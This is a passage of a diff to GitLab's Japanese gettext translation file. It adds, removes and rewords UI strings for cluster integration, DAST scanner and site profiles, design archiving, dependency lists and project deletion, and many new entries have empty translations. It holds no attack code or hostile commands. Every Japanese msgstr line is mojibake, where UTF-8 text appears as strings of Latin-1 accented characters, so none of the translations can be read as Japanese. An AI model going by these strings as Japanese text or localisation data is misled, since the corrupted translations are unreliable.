msgstr "Knativeドメインåã®æ›´æ–°ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
-msgstr "ドメインを指定ã™ã‚‹ã¨ã€Auto Review Apps 㨠Auto Deployステージを %{auto_devops_start}Auto DevOps%{auto_devops_end} ã«ä½¿ç”¨ã§ãã¾ã™ã€‚ドメインã«ã¯ãƒ‰ãƒ¡ã‚¤ãƒ³ã«ãƒžãƒƒãƒã™ã‚‹ãƒ¯ã‚¤ãƒ«ãƒ‰ã‚«ãƒ¼ãƒ‰DNSãŒè¨­å®šã•ã‚Œã¦ã„ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
+msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr "サブãƒãƒƒãƒˆ"
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5763,15 +5895,27 @@ msgstr "ã“ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã¯ %{link_to_container_project} 㧠Kubernetes ク
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr "ã“ã®ã‚ªãƒ—ションを使用ã™ã‚‹ã¨ã€ã‚ãªãŸã¯ã‚¢ãƒ—リケーションを RBAC クラスター上ã«ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã§ãã¾ã™ã€‚"
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr "デプロイ後ã«ã‚¢ãƒ—リケーションã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ã«ã¯ã€ãƒ¯ã‚¤ãƒ«ãƒ‰ã‚«ãƒ¼ãƒ‰ DNS ã‚’ Knative エンドãƒã‚¤ãƒ³ãƒˆã«æŒ‡å®šã—ã¾ã™ã€‚"
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr "インテグレーションã¨ãƒªã‚½ãƒ¼ã‚¹ã‚’削除ã™ã‚‹ã«ã¯ã€ %{clusterName} を入力ã—ã¦ç¢ºèªã—ã¦ãã ã•ã„。"
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr "インテグレーションを削除ã™ã‚‹ã«ã¯ã€ %{clusterName} を入力ã—ã¦ç¢ºèªã—ã¦ãã ã•ã„。"
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr "%{appTitle} をアンインストール"
@@ -5796,6 +5940,9 @@ msgstr "プロジェクトã®è«‹æ±‚ステータスを検証ã—ã¦ã„ã¾ã™"
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr "GCP 上ã®ãƒ—ロジェクトã®è¦æ±‚ãŒæœ‰åŠ¹ã«ãªã£ã¦ã„ã‚‹ã“ã¨ã‚’確èªã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr "ã“ã®ãƒ—ロジェクト㫠Kubernetes クラスターを関連付ã‘ã‚‹ã“ã¨ã§ã€Review Apps ã®ä½¿ç”¨ã€ã‚¢ãƒ—リケーションã®ãƒ‡ãƒ—ロイã€ãƒ‘イプラインã®å®Ÿè¡Œãªã©ã‚’ç°¡å˜ã«è¡Œã†ã“ã¨ãŒã§ãã¾ã™ã€‚"
@@ -5811,9 +5958,6 @@ msgstr "クラスターã‹ã‚‰ %{appTitle} をアンインストールã—よã†ã
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr "次ã®ã‚¢ãƒ—リケーションをインストールã™ã‚‹å‰ã«ã€Helm Tiller をインストールã—ãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“"
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5844,8 +5988,8 @@ msgstr "ゾーン"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "Google Kubernetes Engineã«ã‚¢ã‚¯ã‚»ã‚¹"
-msgid "ClusterIntegration|documentation"
-msgstr "ドキュメント"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
+msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
msgstr ""
@@ -6021,6 +6165,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr "コメント/返信 (é¸æŠžã—ãŸãƒ†ã‚­ã‚¹ãƒˆã‚’引用ã—ã¾ã™)"
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr "コメント"
@@ -6220,8 +6370,8 @@ msgstr "Prometheusã®è¨­å®š"
msgid "Configure Tracing"
msgstr "トレーシングã®è¨­å®š"
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
-msgstr "Webターミナルã®ä½¿ç”¨ã‚’開始ã™ã‚‹ã«ã¯ã€ <code>.gitlab</code> ディレクトリ㮠<code>.gitlab-webide.yml</code> ファイルを設定ã—ã¾ã™ã€‚ 詳細ã¯%{helpStart}ã“ã¡ã‚‰%{helpEnd}ã§ã™ã€‚"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
msgstr "リãƒã‚¸ãƒˆãƒªã«å¯¾ã—ã¦è‡ªå‹•å®Ÿè¡Œã™ã‚‹ Git ãƒã‚§ãƒƒã‚¯ã¨ãƒã‚¦ã‚¹ã‚­ãƒ¼ãƒ”ングを設定ã—ã¾ã™ã€‚"
@@ -6670,9 +6820,6 @@ msgstr "ラベルã¨ãƒžã‚¤ãƒ«ã‚¹ãƒˆãƒ¼ãƒ³ã‚’ %{source_issuable_reference} ã‹ã‚‰
msgid "Copy"
msgstr "コピー"
-msgid "Copy %{field}"
-msgstr "%{field} をコピー"
-
msgid "Copy %{http_label} clone URL"
msgstr "%{http_label} クローン URL をコピー"
@@ -6757,6 +6904,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6769,6 +6919,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr "管ç†è€…ã¯ãƒ¡ãƒ³ãƒãƒ¼ã¨ã—ã¦è¿½åŠ ã§ãã¾ã›ã‚“。"
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr "ãƒãƒ£ãƒƒãƒˆã®ãƒ‹ãƒƒã‚¯ãƒãƒ¼ãƒ ã‚’承èªã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
@@ -6793,15 +6946,21 @@ msgstr ""
msgid "Could not create group"
msgstr "グループを作æˆã§ãã¾ã›ã‚“ã§ã—ãŸ"
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr "プロジェクトを作æˆã§ãã¾ã›ã‚“ã§ã—ãŸ"
-msgid "Could not delete %{design}. Please try again."
-msgstr "%{design} を削除ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ãŠè©¦ã—ãã ã•ã„。"
+msgid "Could not create wiki page"
+msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr "ãƒãƒ£ãƒƒãƒˆã®ãƒ‹ãƒƒã‚¯ãƒãƒ¼ãƒ  %{chat_name} を削除ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚"
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6832,6 +6991,9 @@ msgstr "プロジェクトIDã‚’ä¿å­˜ã§ãã¾ã›ã‚“ã§ã—ãŸ"
msgid "Could not save prometheus manual configuration"
msgstr "プロメテウスã®ãƒžãƒ‹ãƒ¥ã‚¢ãƒ«è¨­å®šã‚’ä¿å­˜ã§ãã¾ã›ã‚“ã§ã—ãŸ"
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6847,6 +7009,10 @@ msgstr "ã‚«ãƒãƒ¬ãƒƒã‚¸"
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Create"
msgstr "作æˆ"
@@ -6937,6 +7103,9 @@ msgstr "エピックã®ä½œæˆ"
msgid "Create file"
msgstr "ファイルを作æˆ"
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr "グループを作æˆ"
@@ -6973,6 +7142,9 @@ msgstr "æ–°ã—ã„ボードを作æˆ"
msgid "Create new branch"
msgstr "æ–°ã—ã„ブランãƒã‚’作æˆ"
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr "æ–°ã—ã„ディレクトリを作æˆ"
@@ -6997,6 +7169,9 @@ msgstr "プロジェクトを作æˆ"
msgid "Create project label"
msgstr "プロジェクトラベルを作æˆ"
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr "è¦æ±‚事項を作æˆ"
@@ -7168,6 +7343,9 @@ msgstr "HTTP(S) 用ã®ã‚«ã‚¹ã‚¿ãƒ  Git クローン URL"
msgid "Custom hostname (for private commit emails)"
msgstr "カスタムホストå (プライベートコミット用メールアドレス)"
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr "カスタム通知設定"
@@ -7264,6 +7442,15 @@ msgstr "Runner トークンã«ã‚¢ã‚¯ã‚»ã‚¹ã—ã€ãƒ‘イプラインã®è¨­å®šã‚’ã‚
msgid "Customize your pipeline configuration."
msgstr "パイプライン設定をカスタマイズ"
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7427,6 +7614,9 @@ msgstr "DAG"
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr "DAGã®å¯è¦–化ã«ã¯ã€å°‘ãªãã¨ã‚‚3ã¤ã®ä¾å­˜æ€§ã®ã‚るジョブãŒå¿…è¦ã§ã™ã€‚"
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -7457,25 +7647,55 @@ msgstr "%{firstProject}, %{rest}, 㨠%{secondProject}"
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr "%{invalidProjects} を追加ã§ãã¾ã›ã‚“。ダッシュボードãŒåˆ©ç”¨ã§ãã‚‹ã®ã¯ã€å…¬é–‹ãƒ—ロジェクトã¨ã€æœ‰æ–™ã‚³ãƒ¼ã‚¹ã® Silverプランã®ãƒ—ライベートプロジェクトã ã‘ã§ã™ã€‚"
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7484,7 +7704,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7496,6 +7725,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7505,12 +7737,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr "データã¯ã¾ã è¨ˆç®—中ã§ã™..."
@@ -7583,8 +7872,8 @@ msgstr "デフォルトブランãƒã¨ä¿è­·ãƒ–ランãƒ"
msgid "Default classification label"
msgstr "デフォルト分類ラベル"
-msgid "Default deletion adjourned period"
-msgstr "デフォルトã®å‰Šé™¤çŒ¶äºˆæœŸé–“"
+msgid "Default deletion delay"
+msgstr ""
msgid "Default description template for issues"
msgstr "課題ã®ã€ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã®èª¬æ˜Žãƒ†ãƒ³ãƒ—レート"
@@ -7661,12 +7950,12 @@ msgstr "削除"
msgid "Delete Comment"
msgstr "コメントを削除"
-msgid "Delete Package"
-msgstr "パッケージを削除"
-
msgid "Delete Snippet"
msgstr "スニペットを削除"
+msgid "Delete account"
+msgstr ""
+
msgid "Delete artifacts"
msgstr "アーãƒãƒ•ã‚¡ã‚¯ãƒˆã‚’削除"
@@ -7721,6 +8010,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr "プロジェクトã®ãƒªãƒã‚¸ãƒˆãƒªã®å‰Šé™¤ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã™ã‹ã€ç®¡ç†è€…ã«é€£çµ¡ã—ã¦ãã ã•ã„。"
@@ -7742,15 +8034,24 @@ msgstr "wikiリãƒã‚¸ãƒˆãƒªã®ãƒ¬ã‚¹ãƒˆã‚¢ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚
msgid "Deleted"
msgstr "削除完了"
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr "ãƒãƒ£ãƒƒãƒˆãƒ‹ãƒƒã‚¯ãƒãƒ¼ãƒ ã‚’削除ã—ã¾ã—ãŸï¼š %{chat_name}ï¼"
-msgid "Deleted in this version"
-msgstr "ã“ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§å‰Šé™¤ã•ã‚ŒãŸæ©Ÿèƒ½"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
+msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr "ライセンスã®å‰Šé™¤ã«å¤±æ•—ã—ã¾ã—ãŸã€‚"
@@ -7760,6 +8061,9 @@ msgstr "ライセンスã®å‰Šé™¤ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ライセンスãŒè¦‹ã¤
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr "ライセンスã®å‰Šé™¤ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ã‚ãªãŸã¯ãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã®å‰Šé™¤ã‚’許å¯ã•ã‚Œã¦ã„ã¾ã›ã‚“。"
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr "削除ã¯ä¿ç•™ã•ã‚Œã¦ã„ã¾ã™ã€‚ã“ã®ãƒ—ロジェクト㯠%{date} ã«å‰Šé™¤ã•ã‚Œã¾ã™ã€‚リãƒã‚¸ãƒˆãƒªåŠã³ãã®ä»–ã®ãƒ—ロジェクトリソースã¯èª­ã¿å–り専用ã§ã™ã€‚"
@@ -7785,6 +8089,10 @@ msgid "Dependencies|%d additional vulnerability not shown"
msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7792,6 +8100,9 @@ msgstr[0] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr "%{remainingLicensesCount} 件以上"
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr "ã™ã¹ã¦"
@@ -7804,6 +8115,9 @@ msgstr "コンãƒãƒ¼ãƒãƒ³ãƒˆ"
msgid "Dependencies|Component name"
msgstr "コンãƒãƒ¼ãƒãƒ³ãƒˆå"
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr "JSONエクスãƒãƒ¼ãƒˆ"
@@ -7822,6 +8136,9 @@ msgstr "パッケージャー"
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr "%{codeStartTag}ä¾å­˜é–¢ä¿‚スキャニング%{codeEndTag}ジョブã«å¤±æ•—ã—ä¾å­˜é–¢ä¿‚リストを生æˆã§ãã¾ã›ã‚“。ジョブãŒæ­£ã—ã実行ã•ã‚Œã¦ã„ã‚‹ã‹ç¢ºèªã—ãŸä¸Šã§ãƒ‘イプラインをå†å®Ÿè¡Œã—ã¦ãã ã•ã„。"
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7859,8 +8176,8 @@ msgid "Depends on %d merge request being merged"
msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgid "Deploy"
@@ -7903,7 +8220,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8137,15 +8454,24 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr "åŒã˜ãƒ•ã‚¡ã‚¤ãƒ«åã§è¨­è¨ˆã™ã‚‹ã¨ã€æ–°ã—ã„ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã®ãƒ•ã‚¡ã‚¤ãƒ«ã«ç½®ãæ›ãˆã‚‰ã‚Œã¾ã™ã€‚"
+msgid "DesignManagement|Archive designs"
+msgstr ""
+
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr "本当ã«ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã®ä½œæˆã‚’キャンセルã—ã¾ã™ã‹ï¼Ÿ"
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
-msgstr "é¸æŠžã—ãŸãƒ‡ã‚¶ã‚¤ãƒ³ã‚’削除ã—ã¦ã‚‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
-
msgid "DesignManagement|Cancel changes"
msgstr ""
@@ -8176,15 +8502,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr "削除"
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr "デザインã®èªè¨¼ã‚’削除"
-
-msgid "DesignManagement|Delete selected"
-msgstr "é¸æŠžå¯¾è±¡ã‚’削除"
-
msgid "DesignManagement|Deselect all"
msgstr "å…¨ã¦é¸æŠžã‚’解除"
@@ -8266,8 +8583,11 @@ msgstr "詳細 (デフォルト)"
msgid "Detect host keys"
msgstr "ホストキーã®æ¤œå‡º"
-msgid "DevOps Score"
-msgstr "DevOps スコア"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
+msgstr ""
msgid "Diff content limits"
msgstr "差分コンテンツã®åˆ¶é™"
@@ -8275,6 +8595,9 @@ msgstr "差分コンテンツã®åˆ¶é™"
msgid "Diff limits"
msgstr "差分ã®åˆ¶é™"
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr "開始日ã¨ç¾åœ¨ã®é•ã„"
@@ -8287,8 +8610,11 @@ msgstr "(ベース)"
msgid "Diffs|No file name available"
msgstr "使用å¯èƒ½ãªãƒ•ã‚¡ã‚¤ãƒ«åãŒã‚ã‚Šã¾ã›ã‚“"
-msgid "Diffs|Show unchanged lines"
-msgstr "変更ã•ã‚Œã¦ã„ãªã„行を表示"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
+msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
msgstr "差分行をå–得中ã«ä½•ã‹å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -8392,9 +8718,6 @@ msgstr "解決ãŒå¿…è¦ãªã€å…·ä½“çš„ãªæ案や質å•ã«ã¤ã„ã¦è­°è«–ã™ã‚‹
msgid "Discuss a specific suggestion or question."
msgstr "具体的ãªæ案や質å•ã«ã¤ã„ã¦è­°è«–ã—ã¾ã™ã€‚"
-msgid "Discussion"
-msgstr "検討"
-
msgid "Discussion to reply to cannot be found"
msgstr "返信先ã®ãƒ‡ã‚£ã‚¹ã‚«ãƒƒã‚·ãƒ§ãƒ³ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
@@ -8408,8 +8731,8 @@ msgid "Dismiss %d selected vulnerability as"
msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
-msgid "Dismiss DevOps Score introduction"
-msgstr "DevOpsスコアã®ç´¹ä»‹ã‚’é–‰ã˜ã‚‹"
+msgid "Dismiss DevOps Report introduction"
+msgstr ""
msgid "Dismiss Merge Request promotion"
msgstr "マージリクエストã®æ˜‡æ ¼ã‚’å´ä¸‹ã—ã¾ã™"
@@ -8660,9 +8983,6 @@ msgstr "ボードを編集"
msgid "Edit comment"
msgstr "コメントを編集"
-msgid "Edit dashboard"
-msgstr "ダッシュボードを編集"
-
msgid "Edit description"
msgstr "説明を編集"
@@ -8951,9 +9271,6 @@ msgstr "2è¦ç´ èªè¨¼ã‚’有効ã«ã™ã‚‹"
msgid "Enable usage ping"
msgstr "利用状æ³ã®é€ä¿¡ã‚’有効ã«ã™ã‚‹"
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr "利用状æ³ã®é€ä¿¡ã‚’有効ã«ã™ã‚‹ã¨ã€æ©Ÿèƒ½ã®è¦³ç‚¹ã‹ã‚‰ GitLab ã‚’ã©ã®ã‚ˆã†ã«ä½¿ç”¨ã—ã¦ã„ã‚‹ã‹ã®æ¦‚è¦ã‚’å–å¾—ã§ãã¾ã™ã€‚"
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr "サービスデスクを有効/無効ã«ã—ã¾ã™ã€‚ %{link_start}サービスデスクã®è©³ç´°ã«ã¤ã„ã¦%{link_end}"
@@ -9122,6 +9439,9 @@ msgstr "環境ã¯ã‚¢ãƒ—リケーションã®ãƒ‡ãƒ—ロイを追加ã™ã‚‹ã“ã¨ãŒ
msgid "Environments in %{name}"
msgstr "%{name} 環境"
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr "ダッシュボードã«ãƒ—ロジェクトを追加"
@@ -9146,8 +9466,8 @@ msgstr "削除"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr "環境情報ダッシュボードã¯å„プロジェクトã®ç’°å¢ƒæƒ…å ±(パイプラインやアラート状態å«ã‚€) を表示ã—ã¾ã™ã€‚"
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
-msgstr "ã“ã®ãƒ€ãƒƒã‚·ãƒ¥ãƒœãƒ¼ãƒ‰ã«ã¯ã€æœ€å¤§ã§7ã¤ã®ãƒ—ロジェクトã¨ã€ãƒ—ロジェクトã”ã¨ã«æœ€å¤§ã§3ã¤ã®ç’°å¢ƒã‚’表示ã§ãã¾ã™ã€‚ 詳細ã«ã¤ã„ã¦ã¯ã“ã¡ã‚‰ã‚’å‚ç…§ã—ã¦ãã ã•ã„。%{readMoreLink}"
